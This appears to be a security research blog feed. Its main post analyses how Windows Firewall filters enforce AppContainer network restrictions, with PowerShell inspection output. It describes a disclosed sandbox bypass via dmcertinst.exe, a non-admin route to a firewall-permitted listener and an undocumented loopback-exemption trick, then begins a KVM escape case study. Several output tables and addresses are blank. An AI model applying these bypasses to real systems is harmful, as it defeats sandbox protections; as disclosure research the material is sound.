FWPM_SUBLAYER_INSPECTION                       0

FWPM_SUBLAYER_TEREDO                           1





You can also inspect the sublayers in the same way, using the Get-FwSubLayer command as shown above. The most useful information from the sublayer is the weight. As mentioned earlier this is used to determine the ordering of the associated filters. However, as we'll see you rarely need to query the weight yourself.

Filter Configuration

Enforcing the firewall rules is up to the filters. You can enumerate all filters using the Get-FwFilter command.

PS> Get-FwFilter

FilterId ActionType Name

-------- ---------- ----

68071    Block     Boot Time Filter

71199    Permit    @FirewallAPI.dll,-80201

71350    Block     Block inbound traffic to dmcertinst.exe


The default output shows the ID of a filter, the action type and the user defined name. The filter objects returned also contain the layer and sublayer identifiers as well as the list of matching conditions for the filter. As inspecting the filter is going to be the most common operation the module provides the Format-FwFilter command to format a filter object in a more readable format.

PS> Get-FwFilter -Id 71350 | Format-FwFilter

Name       : Block inbound traffic to dmcertinst.exe

Action Type: Block

Key        : c391b53a-1b98-491c-9973-d86e23ea8a84

Id         : 71350




Flags      : Indexed

Weight     : 549755813888

Conditions :

FieldKeyName              MatchType Value

------------              --------- -----



The formatted output contains the layer and sublayer information, the assigned weight of the filter and the list of conditions. The layer is FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 which handles new incoming connections. The sublayer is MICROSOFT_DEFENDER_SUBLAYER_WSH which is used to group Windows Service Hardening rules which apply regardless of the normal firewall configuration.

In this example the filter only matches on the socket creator process executable's path. The end result if the filter matches the current state is for the IPv4 TCP network connection to be blocked at the MICROSOFT_DEFENDER_SUBLAYER_WSH sublayer. As already mentioned it now won't matter if a lower priority layer would permit the connection if the block is enforced.

How can we determine the ordering of sublayers and filters? You could manually extract the weights for each sublayer and filter and try and order them, and hopefully the ordering you come up with matches what WFP uses. A much simpler approach is to specify a flag when enumerating filters for a particular layer to request the BFE APIs sort the filters using the canonical ordering.

PS> Get-FwFilter -AleLayer ConnectV4 -Sorted

FilterId ActionType     Name

-------- ----------     ----

65888    Permit         Interface Un-quarantine filter

66469    Block          AppContainerLoopback

66467    Permit         AppContainerLoopback

66473    Block          AppContainerLoopback


The Sorted parameter specifies the flag to sort the filters. You can now go through the list of filters in order and try and work out what would be the matched filter based on some criteria you decide on. Again it'd be helpful if we could get the BFE service to do more of the hard work in figuring out what rules would apply given a particular process. For this we can specify some of the metadata that represents the connection being made and get the BFE service to only return filters which match on their conditions.

PS> $template = New-FwFilterTemplate -AleLayer ConnectV4 -Sorted

PS> $fs = Get-FwFilter -Template $template

PS> $fs.Count


PS> Add-FwCondition $template -ProcessId $pid

PS> $addr = Resolve-DnsName "www.google.com" -Type A

PS> Add-FwCondition $template -IPAddress $addr.Address -Port 80

PS> Add-FwCondition $template -ProtocolType Tcp

PS> Add-FwCondition $template -ConditionFlags 0

PS> $template.Conditions

FieldKeyName                     MatchType Value                                                                    

------------                     --------- -----                                                                    

FWPM_CONDITION_ALE_APP_ID        Equal     \device\harddisk...

FWPM_CONDITION_ALE_USER_ID       Equal     FirewallTokenInformation                        





FWPM_CONDITION_FLAGS             Equal     None

PS> $fs = Get-FwFilter -Template $template

PS> $fs.Count


To specify the metadata we need to create an enumeration template using the New-FwFilterTemplate command. We specify the Connect IPv4 layer as well as requesting that the results are sorted. Using this template with the Get-FwFilter command returns 65 results (on my machine).

Next we add some metadata, first from the current powershell process. This populates the App ID with the executable path as well as token information such as the user ID and package ID of an AppContainer. We then add details about the target connection request, specifying a TCP connection to www.google.com on port 80. Finally we add some condition flags, we'll come back to these flags later.

Using this new template results in only 2 filters whose conditions will match the metadata. Of course depending on your current configuration the number might be different. In this case 2 filters is much easier to understand than 65. If we format those two filter we see the following:

PS> $fs | Format-FwFilter

Name       : Default Outbound

Action Type: Permit

Key        : 07ba2a96-0364-4759-966d-155007bde926

Id         : 67989

Description: Default Outbound



Flags      : None

Weight     : 9223372036854783936

Conditions :

FieldKeyName                       MatchType Value

------------                       --------- -----



Name       : Default Outbound

Action Type: Permit

Key        : 36da9a47-b57d-434e-9345-0e36809e3f6a

Id         : 67993

Description: Default Outbound



Flags      : None

Weight     : 3458764513820540928

Both of the two filters permit the connection and based on the name they're the default backstop when no other filters match. It's possible to configure each network profile with different default backstops. In this case the default is to permit outbound traffic. We have two of them because both match all the metadata we provided, although if we'd specified a profile other than Public then we'd only get a single filter.

Can we prove that this is the filter which matches a TCP connection? Fortunately we can: WFP supports gathering network events related to the firewall. An event includes the filter which permitted or denied the network request, and we can then compare it to our two filters to see if one of them matched. You can use the Get-FwNetEvent command to read the current circular buffer of events.

PS> Set-FwEngineOption -NetEventMatchAnyKeywords ClassifyAllow

PS> $s = [System.Net.Sockets.TcpClient]::new($addr.IPAddress, 80)

PS> Set-FwEngineOption -NetEventMatchAnyKeywords None

PS> $ev_temp = New-FwNetEventTemplate -Condition $template.Conditions

PS> Add-FwCondition $ev_temp -NetEventType ClassifyAllow

PS> Get-FwNetEvent -Template $ev_temp | Format-List

FilterId        : 67989

LayerId         : 48

ReauthReason    : 0

OriginalProfile : Public

CurrentProfile  : Public

MsFwpDirection  : 0

IsLoopback      : False

Type            : ClassifyAllow

Flags           : IpProtocolSet, LocalAddrSet, RemoteAddrSet, ...

Timestamp       : 8/5/2021 11:24:41 AM

IPProtocol      : Tcp

LocalEndpoint   :

RemoteEndpoint  :

ScopeId         : 0

AppId           : \device\harddiskvolume3\windows\system32\wind...

UserId          : S-1-5-21-4266194842-3460360287-487498758-1103

AddressFamily   : Inet

PackageSid      : S-1-0-0

First we enable the ClassifyAllow event, which is generated when a firewall event is permitted. By default only firewall blocks are recorded using the ClassifyDrop event to avoid filling the small network event log with too much data. Next we make a connection to the Google web server we queried earlier to generate an event. We then disable the ClassifyAllow events again to reduce the risk we'll lose the event.

Next we can query for the current stored events using Get-FwNetEvent. To limit the network events returned to us we can specify a template in a similar way to when we queried for filters. In this case we create a new template using the New-FwNetEventTemplate command and copy the existing conditions from our filter template. We then add a condition to match on only ClassifyAllow events.

Formatting the results we can see the network connection event to TCP port 80. Crucially if you compare the FilterId value to the Id fields in the two enumerated filters we match the first filter. This gives us confidence that we have a basic understanding of how the filtering works. Let's move on to running some tests to determine how the AppContainer network restrictions are implemented through WFP.

Worth noting at this point that because the network event buffer can be small, of the order of 30-40 events depending on load, it's possible on a busy server that events might be lost before you query for them. You can get a real-time trace of events by using the Start-FwNetEventListener command to avoid losing events.

Callout Drivers

As mentioned a developer can implement their own custom functionality to inspect and modify network traffic. This functionality is used by various different products, ranging from AV to scan your network traffic for badness to NMAP's NPCAP capturing loopback traffic.

To set up a callout the developer needs to do two things. First they need to register its callback functions for the callout using the FwpmCalloutRegister API in the kernel driver. Second they need to create a filter to use the callout by specifying the providerContextKey GUID and one of the action types which invoke a callout.

You can query the list of registered callouts using the FwpmCalloutEnum0 API in user-mode. I expose this API through the Get-FwCallout command.

PS> Get-FwCallout | Sort CalloutId | Select CalloutId, KeyName

CalloutId KeyName

--------- -------








The above output shows the callouts listed by their callout ID numbers. The ID number is key to finding the callback functions in the kernel. There doesn't seem to be a way of enumerating the addresses of callout functions directly (at least from user mode). This article shows a basic approach to extract the callback functions using a kernel debugger, although it's a little out of date.

The NETIO driver stores all registered callbacks in a large array, the index being the callout ID. If you want to find a specific callout then find the base of the array using the description in the article then just calculate the offset based on a single callout structure and the index. For example on Windows 10 21H1 x64 the following command will dump a callout's classify callback function. Replace N with the callout ID, the magic numbers 198 and 50 are the offset into the gWfpGlobal global data table and the size of a callout entry which you can discover through analyzing the code.

0: kd> ln poi(poi(poi(NETIO!gWfpGlobal)+198)+(50*N)+10)

If you're in kernel mode there's an undocumented KfdGetRefCallout function (and a corresponding KfdDeRefCallout to decrement the reference) exported by NETIO which will return a pointer to the internal callout structure based on the ID avoiding the need to extract the offsets from disassembly.

AppContainer Network Restrictions

The basics of accessing the network from an AppContainer sandbox is documented by Microsoft. Specifically the lowbox token used for the sandbox needs to have one or more capabilities enabled to grant access to the network. The three capabilities are:

  • internetClient - Grants client access to the Internet
  • internetClientServer - Grants client and server access to the Internet
  • privateNetworkClientServer - Grants client and server access to local private networks.

Client Capabilities

Pretty much all Windows Store applications are granted the internetClient capability as accessing the Internet is a thing these days. Even the built-in calculator has this capability, presumably so you can fill in feedback on how awesome a calculator it is.

Image showing the list of capabilities granted to Windows calculator application showing the “Your Internet Connection” capability is granted.

However, this shouldn't grant the ability to act as a network server, for that you need the internetClientServer capability. Note that Windows defaults to blocking incoming connections, so just because you have the server capability still doesn't ensure you can receive network connections. The final capability is privateNetworkClientServer which grants access to private networks as both a client and a server. What is the internet and what is private isn't made immediately clear, hopefully we'll find out from inspecting the firewall configuration.

PS> $token = Get-NtToken -LowBox -PackageSid TEST

PS> $addr = Resolve-DnsName "www.google.com" -Type A

PS> $sock = Invoke-NtToken $token {

>>   [System.Net.Sockets.TcpClient]::new($addr.IPAddress, 80)

>> }

Exception calling ".ctor" with "2" argument(s): "An attempt was made to access a socket in a way forbidden by its access permissions"

PS> $template = New-FwNetEventTemplate

PS> Add-FwCondition $template -IPAddress $addr.IPAddress -Port 80

PS> Add-FwCondition $template -NetEventType ClassifyDrop

PS> Get-FwNetEvent -Template $template | Format-List

FilterId               : 71079

LayerId                : 48

ReauthReason           : 0


PS> Get-FwFilter -Id 71079 | Format-FwFilter

Name       : Block Outbound Default Rule

Action Type: Block

Key        : fb8f5cab-1a15-4616-b63f-4a0d89e527f8

Id         : 71079

Description: Block Outbound Default Rule



Flags      : None

Weight     : 274877906944

Conditions :

FieldKeyName                  MatchType Value

------------                  --------- -----


In the above output we first create a lowbox token for testing the AppContainer access. In this example we don't provide any capabilities for the token so we're expecting the network connection should fail. Next we connect a TcpClient socket while impersonating the lowbox token, and the connection is immediately blocked with an error.

We then get the network event corresponding to the connection request to see what filter blocked the connection. Formatting the filter from the network event we find the “Block Outbound Default Rule”. This will block any AppContainer network connection, based on the FWPM_CONDITION_ALE_PACKAGE_ID condition which hasn't been permitted by higher priority firewall filters.

Like with the “Default Outbound” filter we saw earlier, this is a backstop if nothing else matches. Unlike that earlier filter the default is to block rather than permit the connection. Another thing to note is the sublayer name. For “Block Outbound Default Rule” it's MICROSOFT_DEFENDER_SUBLAYER_WSH which is used for built-in filters which aren't directly visible from the Defender firewall configuration. Whereas MICROSOFT_DEFENDER_SUBLAYER_FIREWALL is used for “Default Outbound”, which is a lower priority sublayer (based on its weight) and thus would never be evaluated due to the higher priority block.

Okay, we know how connections are blocked. Therefore there must be a higher priority filter which permits the connection within the MICROSOFT_DEFENDER_SUBLAYER_WSH sublayer. We could go back to manual inspection, but we might as well just see what the network event shows as the matching filter when we grant the internetClient capability.

PS> $cap = Get-NtSid -KnownSid CapabilityInternetClient

PS> $token = Get-NtToken -LowBox -PackageSid TEST -CapabilitySid $cap

PS> Set-FwEngineOption -NetEventMatchAnyKeywords ClassifyAllow

PS> $sock = Invoke-NtToken $token {

>>   [System.Net.Sockets.TcpClient]::new($addr.IPAddress, 80)

>> }

PS> Set-FwEngineOption -NetEventMatchAnyKeywords None

PS> $template = New-FwNetEventTemplate

PS> Add-FwCondition $template -IPAddress $addr.IPAddress -Port 80

PS> Add-FwCondition $template -NetEventType ClassifyAllow

PS> Get-FwNetEvent -Template $template | Format-List

FilterId        : 71075

LayerId         : 48

ReauthReason    : 0


PS> Get-FwFilter -Id 71075 | Format-FwFilter

Name       : InternetClient Default Rule

Action Type: Permit

Key        : 406568a7-a949-410d-adbb-2642ec3e8653

Id         : 71075

Description: InternetClient Default Rule



Flags      : None

Weight     : 412316868544

Conditions :

FieldKeyName                       MatchType Value

------------                       --------- -----



Low: High:





In this example we create a new token using the same package SID but with internetClient capability. When we connect the socket we now no longer get an error and the connection is permitted. Checking for the ClassifyAllow event we find the “InternetClient Default Rule” filter matched the connection.

Looking at the conditions we can see that it will only match if the socket creator is in an AppContainer based on the FWPM_CONDITION_ALE_PACKAGE_ID condition. The FWPM_CONDITION_ALE_USER_ID also ensures that it will only match if the creator has the internetCapability capability which is S-1-15-3-1 in the SDDL format. This filter is what's granting access to the network.

One odd thing is in the FWPM_CONDITION_IP_REMOTE_ADDRESS condition. It seems to match on all possible IPv4 addresses. Shouldn't this exclude network addresses on our local “private” network? At the very least you'd assume this would block the reserved IP address ranges from RFC1918? The key to understanding this is the profile ID conditions, which are both set to Public. The computer I'm running these commands on has a single network interface configured to the public profile as shown:

Image showing the option of either Public or Private network profiles.

Therefore the firewall is configured to treat all network addresses in the same context, granting the internetClient capability access to any address including your local “private” network. This might be unexpected. In fact if you enumerate all the filters on the machine you won't find any filter to match the privateNetworkClientServer capability and using the capability will not grant access to any network resource.

If you switch the network profile to Private, you'll find there's now three “InternetClient Default Rule” filters (note on Windows 11 there will only be one as it uses the OR'ing feature of conditions as mentioned above to merge the three rules together).

Name       : InternetClient Default Rule

Action Type: Permit


------------                       --------- -----



Low: High:




Name       : InternetClient Default Rule

Action Type: Permit

Conditions :

FieldKeyName                       MatchType Value

------------                       --------- -----



Low: High:


Name       : InternetClient Default Rule

Action Type: Permit


Conditions :

FieldKeyName                       MatchType Value

------------                       --------- -----



Low: High:


As you can see in the first filter, it covers addresses to The machine's private network is The profile IDs are also now set to Private. The other two exclude the entire network as well as the multicast group addresses from to

The profile ID conditions are important here if you have more than one network interface. For example if you have two, one Public and one Private, you would get a filter for the Public network covering the entire IP address range and the three Private ones excluding the private network addresses. The Public filter won't match if the network traffic is being sent from the Private network interface preventing the application without the right capability from accessing the private network.

Speaking of which, we can also now identify the filter which will match the private network capability. There's two, to cover the private network range and the multicast range. We'll just show one of them.

Name       : PrivateNetwork Outbound Default Rule

Action Type: Permit

Key        : e0194c63-c9e4-42a5-bbd4-06d90532d5e6

Id         : 71640

Description: PrivateNetwork Outbound Default Rule



Flags      : None

Weight     : 36029209335832512

Conditions :

FieldKeyName                       MatchType Value

------------                       --------- -----



Low: High:





We can see in the FWPM_CONDITION_ALE_USER_ID condition that the connection would be permitted if the creator has the privateNetworkClientServer capability, which is S-1-15-3-3 in SDDL.

It is slightly ironic that the Public network profile is probably recommended even if you're on your own private network (Windows 11 even makes the recommendation explicit as shown below) in that it should reduce the exposed attack surface of the device from others on the network. However if an AppContainer application with the internetClient capability could be compromised it opens up your private network to access where the Private profile wouldn't.

Image showing the option of either Public or Private network profiles. This is from Windows 11 where Public is marked as recommended.

Aside: one thing you might wonder, if your network interface is marked as Private and the AppContainer application only has the internetClient capability, what happens if your DNS server is your local router at Wouldn't the application be blocked from making DNS requests? Windows has a DNS client service which typically is always running. This service is what usually makes DNS requests on behalf of applications as it allows the results to be cached. The RPC server which the service exposes allows callers which have any of the three network capabilities to connect to it and make DNS requests, avoiding the problem. Of course if the service is disabled in-process DNS lookups will start to be used, which could result in weird name resolving issues depending on your network configuration.

We can now understand how issue 2207 I reported to Microsoft bypasses the capability requirements. If in the MICROSOFT_DEFENDER_SUBLAYER_WSH sublayer for an outbound connection there are Permit filters which are evaluated before the “Block Outbound Default Rule” filter then it might be possible to avoid needing capabilities.

PS> Get-FwFilter -AleLayer ConnectV4 -Sorted |


Select-Object ActionType, Name


Permit     Allow outbound TCP traffic from dmcertinst.exe

Permit     Allow outbound TCP traffic from omadmclient.exe

Permit     Allow outbound TCP traffic from deviceenroller.exe

Permit     InternetClient Default Rule

Permit     InternetClientServer Outbound Default Rule

Block      Block all outbound traffic from SearchFilterHost

Block      Block outbound traffic from dmcertinst.exe

Block      Block outbound traffic from omadmclient.exe

Block      Block outbound traffic from deviceenroller.exe

Block      Block Outbound Default Rule

Block      WSH Default Outbound Block

PS> Get-FwFilter -Id 72753 | Format-FwFilter

Name       : Allow outbound TCP traffic from dmcertinst.exe

Action Type: Permit

Key        : 5237f74f-6346-4038-a48d-4b779f862e65

Id         : 72753




Flags      : Indexed

Weight     : 422487342972928

Conditions :

FieldKeyName               MatchType Value

------------               --------- -----




As we can see in the output there are quite a few Permit filters before the “Block Outbound Default Rule” filter, and of course I've also cropped the list to make it smaller. If we inspect the “Allow outbound TCP traffic from dmcertinst.exe” filter we find that it only matches on the App ID and the IP protocol. As it doesn't have an AppContainer specific checks, then any sockets created in the context of a dmcertinst process would be permitted to make TCP connections.

Once the “Allow outbound TCP traffic from dmcertinst.exe” filter matches the sublayer evaluation is terminated and it never reaches the “Block Outbound Default Rule” filter. This is fairly trivial to exploit, as long as the AppContainer process is allowed to spawn new processes, which is allowed by default.

Server Capabilities

What about the internetClientServer capability, how does that function? First, there's a second set of outbound filters to cover the capability with the same network addresses as the base internetClient capability. The only difference is the FWPM_CONDITION_ALE_USER_ID condition checks for the internetClientServer (S-1-15-3-2) capability instead. For inbound connections the FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 layer contains the filter.

PS> Get-FwFilter -AleLayer RecvAcceptV4 -Sorted |

Where-Object Name -Match InternetClientServer |


Name       : InternetClientServer Inbound Default Rule

Action Type: Permit

Key        : 45c5f1d5-6ad2-4a2a-a605-4cab7d4fb257

Id         : 72470

Description: InternetClientServer Inbound Default Rule



Flags      : None

Weight     : 824633728960

Conditions :

FieldKeyName                       MatchType Value

------------                       --------- -----



Low: High:





The example shows the filter for a Public network interface granting an AppContainer application the ability to receive network connections. However, this will only be permitted if the socket creator has internetClientServer capability. Note, there would be similar rules for the private network if the network interface is marked as Private but only granting access with the privateNetworkClientServer capability.

As mentioned earlier just because an application has one of these capabilities doesn't mean it can receive network connections. The default configuration will block the inbound connection.  However, when an UWP application is installed and requires one of the two server capabilities, the AppX installer service registers the AppContainer profile with the Windows Defender Firewall service. This adds a filter to permit the AppContainer package to receive inbound connections. For example the following is for the Microsoft Photos application, which is typically installed by default:

PS> Get-FwFilter -Id 68299 |

Format-FwFilter -FormatSecurityDescriptor -Summary

Name       : @{Microsoft.Windows.Photos_2021...

Action Type: Permit

Key        : 7b51c091-ed5f-42c7-a2b2-ce70d777cdea

Id         : 68299

Description: @{Microsoft.Windows.Photos_2021...



Flags      : Indexed

Weight     : 10376294366095343616

Conditions :

FieldKeyName                  MatchType Value

------------                  --------- -----



FWPM_CONDITION_ALE_USER_ID    Equal     O:SYG:SYD:(A;;CCRC;;;S-1-5-21-3563698930-1433966124...

<Owner> (Defaulted) : NT AUTHORITY\SYSTEM

<Group> (Defaulted) : NT AUTHORITY\SYSTEM


DOMAIN\alice: (Allowed)(None)(Full Access)


APPLICATION PACKAGE AUTHORITY\Your Internet connection:...

APPLICATION PACKAGE AUTHORITY\Your Internet connection,...

APPLICATION PACKAGE AUTHORITY\Your home or work networks:...

NAMED CAPABILITIES\Proximity: (Allowed)(None)(Full Access)

The filter only checks that the package SID matches and that the socket creator is a specific user in an AppContainer. Note this rule doesn't do any checking on the executable file, remote IP address, port or profile ID. Once an installed AppContainer application is granted a server capability it can act as a server through the firewall for any traffic type or port.

A normal application could abuse this configuration to run a network service without needing the administrator access normally required to grant the executable access. All you'd need to do is create an arbitrary AppContainer process in the permitted package and grant it the internetClientServer and/or the privateNetworkClientServer capabilities. If there isn't an application installed which has the appropriate firewall rules a non-administrator user can install any signed application with the appropriate capabilities to add the firewall rules. While this clearly circumvents the expected administrator requirements for new listening processes it's presumably by design.

Localhost Access

One of the specific restrictions imposed on AppContainer applications is blocking access to localhost. The purpose of this is it makes it more difficult to exploit local network services which might not correctly handle AppContainer callers creating a sandbox escape. Let's test the behavior out and try to connect to a localhost service.

PS> $token = Get-NtToken -LowBox -PackageSid "LOOPBACK"

PS> Invoke-NtToken $token {

    [System.Net.Sockets.TcpClient]::new("", 445)


Exception calling ".ctor" with "2" argument(s): "A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because

connected host has failed to respond"

If you compare the error to when we tried to connect to an internet address without the appropriate capability you'll notice it's different. When we connected to the internet we got an immediate error indicating that access isn't permitted. However, for localhost we instead get a timeout error, which is preceded by multi-second delay. Why the difference? Getting the network event which corresponds to the connection and displaying the blocking filter shows something interesting.

PS> Get-FwFilter -Id 69039 |

Format-FwFilter -FormatSecurityDescriptor -Summary

Name       : AppContainerLoopback

Action Type: Block

Key        : a58394b7-379c-43ac-aa07-9b620559955e

Id         : 69039

Description: AppContainerLoopback



Flags      : None

Weight     : 18446744073709551614

Conditions :

FieldKeyName               MatchType   Value

------------               ---------   -----

FWPM_CONDITION_FLAGS       FlagsAllSet IsLoopback







APPLICATION PACKAGE AUTHORITY\Your Internet connection, including...

APPLICATION PACKAGE AUTHORITY\Your home or work networks...

NAMED CAPABILITIES\Proximity: (Allowed)(None)(Match)

Everyone: (Allowed)(None)(Match)


The blocking filter is not in the connect layer as you might expect, instead it's in the receive/accept layer. This explains why we get a timeout rather than immediate failure: the “inbound” connection request is being dropped as per the default configuration. This means the TCP client waits for the response from the server, until it eventually hits the timeout limit.

The second interesting thing to note about the filter is it's not based on an IP address such as Instead it's using a condition which checks for the IsLoopback condition flag (FWP_CONDITION_FLAG_IS_LOOPBACK in the SDK). This flag indicates that the connection is being made through the built-in loopback network, regardless of the destination address. Even if you access the public IP addresses for the local network interfaces the packets will still be routed through the loopback network and the condition flag will be set.

The user ID check is odd, in that the security descriptor matches either AppContainer or non-AppContainer processes. This is of course the point, if it didn't match both then it wouldn't block the connection. However, it's not immediately clear what its actual purpose is if it just matches everything. In my opinion, it adds a risk that the filter will be ignored if the socket creator has disabled the Everyone group.  This condition was modified for supporting LPAC over Windows 8, so it's presumably intentional.

You might ask, if the filter would block any loopback connection regardless of whether it's in an AppContainer, how do loopback connections work for normal applications? Wouldn't this filter always match and block the connection?  Unsurprisingly there are some additional permit filters before the blocking filter as shown below.

PS> Get-FwFilter -AleLayer RecvAcceptV4 -Sorted |

Where-Object Name -Match AppContainerLoopback | Format-FwFilter

Name       : AppContainerLoopback

Action Type: Permit


Conditions :

FieldKeyName         MatchType   Value

------------         ---------   -----

FWPM_CONDITION_FLAGS FlagsAllSet IsAppContainerLoopback

Name       : AppContainerLoopback

Action Type: Permit


Conditions :

FieldKeyName         MatchType   Value

------------         ---------   -----


Name       : AppContainerLoopback

Action Type: Permit


Conditions :

FieldKeyName         MatchType   Value

------------         ---------   -----

FWPM_CONDITION_FLAGS FlagsAllSet IsNonAppContainerLoopback

The three filters shown above only check for different condition flags, and you can find documentation for the flags on MSDN. Starting at the bottom we have a check for IsNonAppContainerLoopback. This flag is set on a connection when the loopback connection is between non-AppContainer created sockets. This filter is what grants normal applications loopback access. It's also why an application can listen on localhost even if it's not granted access to receive connections from the network in the firewall configuration.

In contrast the first filter checks for the IsAppContainerLoopback flag. Based on the documentation and the name, you might assume this would allow any AppContainer to use loopback to any other. However, based on testing this flag is only set if the two AppContainers have the same package SID. This is presumably to allow an AppContainer to communicate with itself or other processes within its package through loopback sockets.

This flag is also, I suspect, the reason that connecting to a loopback socket is handled in the receive layer rather than the connect layer. Perhaps WFP can't easily tell ahead of time whether both the connecting and receiving sockets will be in the same AppContainer package, so it delays resolving that until the connection has been received. This does lead to the unfortunate behavior that blocked loopback sockets timeout rather than fail immediately.

The final flag, IsReserved is more curious. MSDN of course says this is “Reserved for future use.”, and the future is now. Though checking back at the filters in Windows 8.1 also shows it being used, so if it was reserved it wasn't for very long. The obvious conclusion is this flag is really a “Microsoft Reserved” flag, by that I mean it's actually used but Microsoft is yet unwilling to publicly document it.

What is it used for? AppContainers are supposed to be a capability based system, where you can just add new capabilities to grant additional privileges. It would make sense to have a loopback capability to grant access, which could be restricted to only being used for debugging purposes. However, it seems that loopback access was so beyond the pale for the designers that instead you can only grant access for debug purposes through an administrator only API. Perhaps it's related?

PS> Add-AppModelLoopbackException -PackageSid "LOOPBACK"

PS> Get-FwFilter -AleLayer ConnectV4 |

Where-Object Name -Match AppContainerLoopback |

Format-FwFilter -FormatSecurityDescriptor -Summary

Name       : AppContainerLoopback

Action Type: CalloutInspection

Key        : dfe34c0f-84ca-4af1-9d96-8bf1e8dac8c0

Id         : 54912247

Description: AppContainerLoopback



Flags      : None

Weight     : 18446744073709551615


Conditions :

FieldKeyName               MatchType Value

------------               --------- -----

FWPM_CONDITION_ALE_USER_ID Equal     D:(A;NP;CC;;;WD)(A;NP;CC;;;AN)(A;NP;CC;;;S-1-15-3-1861862962-...


Everyone: (Allowed)(NoPropagateInherit)(Match)

NT AUTHORITY\ANONYMOUS LOGON: (Allowed)(NoPropagateInherit)(Match)

PACKAGE CAPABILITY\LOOPBACK: (Allowed)(NoPropagateInherit)(Match)

LOOPBACK: (Allowed)(NoPropagateInherit)(Match)

First we add a loopback exemption for the LOOPBACK package name. We then look for the AppContainerLoopback filters in the connect layer. The one we're interested in is shown. The first thing to note is that the action type is set to CalloutInspection. This might seem slightly surprising, you would expect it'd do something more than inspecting the traffic.

The name of the callout, FWPM_CALLOUT_RESERVED_AUTH_CONNECT_LAYER_V4 gives the game away. The fact that it has RESERVED in the name can't be a coincidence. This callout is one implemented internally by Windows in the TCPIP!WfpAlepDbgLowboxSetByPolicyLoopbackCalloutClassify function. This name now loses all mystery and pretty much explains what its purpose is, which is to configure the connection so that the IsReserved flag is set when the receive layer processes it.

The user ID here is equally important. When you register the loopback exemption you only specify the package SID, which is shown in the output as the last “LOOPBACK” line. Therefore you'd assume you'd need to always run your code within that package. However, the penultimate line is “PACKAGE CAPABILITY\LOOPBACK” which is my module's way of telling you that this is the package SID, but converted to a capability SID. This is basically changing the first relative identifier in the SID from 2 to 3.

We can use this behavior to simulate a generic loopback exemption capability. It allows you to create an AppContainer sandboxed process which has access to localhost which isn't restricted to a particular package. This would be useful for applications such as Chrome to implement a network facing sandboxed process and would work from Windows 8 through 11. . Unfortunately it's not officially documented so can't be relied upon. An example demonstrating the use of the capability is shown below.

PS> $cap = Get-NtSid -PackageSid "LOOPBACK" -AsCapability

PS> $token = Get-NtToken -LowBox -PackageSid "TEST" -cap $cap

PS> $sock = Invoke-NtToken $token {

    [System.Net.Sockets.TcpClient]::new("", 445)


PS> $sock.Client.RemoteEndPoint

AddressFamily Address   Port

------------- -------   ----

 InterNetwork  445


That wraps up my quick overview of how AppContainer network restrictions are implemented using the Windows Firewall. I covered the basics of the Windows Firewall as well as covered some of my tooling I wrote to do analysis of the configuration. This background information allowed me to explain why the issue I reported to Microsoft worked. I also pointed out some of the quirks of the implementation which you might find of interest.

Having a good understanding of how a security feature works is an important step towards finding security issues. I hope that by providing both the background and tooling other researchers can also find similar issues and try and get them fixed.

An EPYC escape: Case-study of a KVM breakout

29 June 2021 at 15:58
By: Ryan

Posted by Felix Wilhelm, Project Zero


KVM (for Kernel-based Virtual Machine) is the de-facto standard hypervisor for Linux-based cloud environments. Outside of Azure, almost all large-scale cloud and hosting providers are running on top of KVM, turning it into one of the fundamental security boundaries in the cloud.

In this blog post I describe a vulnerability in KVM’s AMD-specific code and discuss how this bug can be turned into a full virtual machine escape. To the best of my knowledge, this is the first public writeup of a KVM guest-to-host breakout that does not rely on bugs in user space components such as QEMU. The discussed bug was assigned CVE-2021-29657, affects kernel versions v5.10-rc1 to v5.12-rc6 and was patched at the end of March 2021. As the bug only became exploitable in v5.10 and was discovered roughly 5 months later, most real world deployments of KVM should not be affected. I still think the issue is an interesting case study in the work required to build a stable guest-to-host escape against KVM and hope that this writeup can strengthen the case that hypervisor compromises are not only theoretical issues.

I start with a short overview of KVM’s architecture, before diving into the bug and its exploitation.


KVM is a Linux based open source hypervisor supporting hardware accelerated virtualization on x86, ARM, PowerPC and S/390. In contrast to the other big open source hypervisor Xen, KVM is deeply integrated with the Linux Kernel and builds on its scheduling, memory management and hardware integrations to provide efficient virtualization.

KVM is implemented as one or more kernel modules (kvm.ko plus kvm-intel.ko or kvm-amd.ko on x86) that expose a low-level IOCTL-based API to user space processes over the /dev/kvm device. Using this API, a user space process (often called VMM for Virtual Machine Manager) can create new VMs, assign vCPUs and memory, and intercept memory or IO accesses to provide access to emulated or virtualization-aware hardware devices. QEMU has been the standard user space choice for KVM-based virtualization for a long time, but in the last few years alternatives like LKVM, crosvm or Firecracker have started to become popular.

While KVM’s reliance on a separate user space component might seem complicated at first, it has a very nice benefit: Each VM running on a KVM host has a 1:1 mapping to a Linux process, making it managable using standard Linux tools.

This means for example, that a guest's memory can be inspected by dumping the allocated memory of its user space process or that resource limits for CPU time and memory can be applied easily. Additionally, KVM can offload most work related to device emulation to the userspace component. Outside of a couple of performance-sensitive devices related to interrupt handling, all of the complex low-level code for providing virtual disk, network or GPU access can be implemented in userspace.  

When looking at public writeups of KVM-related vulnerabilities and exploits it becomes clear that this design was a wise decision. The large majority of disclosed vulnerabilities and all publicly available exploits affect QEMU and its support for emulated/paravirtualized devices.

Even though KVM’s kernel attack surface is significantly smaller than the one exposed by a default QEMU configuration or similar user space VMMs, a KVM vulnerability has advantages that make it very valuable for an attacker:

  • Whereas user space VMMs can be sandboxed to reduce the impact of a VM breakout, no such option is available for KVM itself. Once an attacker is able to achieve code execution (or similarly powerful primitives like write access to page tables) in the context of the host kernel, the system is fully compromised.
  • Due to the somewhat poor security history of QEMU, new user space VMMs like crosvm or Firecracker are written in Rust, a memory safe language. Of course, there can still be non-memory safety vulnerabilities or problems due to incorrect or buggy usage of the KVM APIs, but using Rust effectively prevents the large majority of bugs that were discovered in C-based user space VMMs in the past.
  • Finally, a pure KVM exploit can work against targets that use proprietary or heavily modified user space VMMs. While the big cloud providers do not go into much detail about their virtualization stacks publicly, it is safe to assume that they do not depend on an unmodified QEMU version for their production workloads. In contrast, KVM’s smaller code base makes heavy modifications unlikely (and KVM’s contributor list points at a strong tendency to upstream such modifications when they exist).  

With these advantages in mind, I decided to spend some time hunting for a KVM vulnerability that could be turned into a guest-to-host escape. In the past, I had some success with finding vulnerabilities in KVM’s support for nested virtualization on Intel CPUs so reviewing the same functionality for AMD seemed like a good starting point. This is even more true, because the recent increase of AMD’s market share in the server segment means that KVM’s AMD implementation is suddenly becoming a more interesting target than it was in the last years.

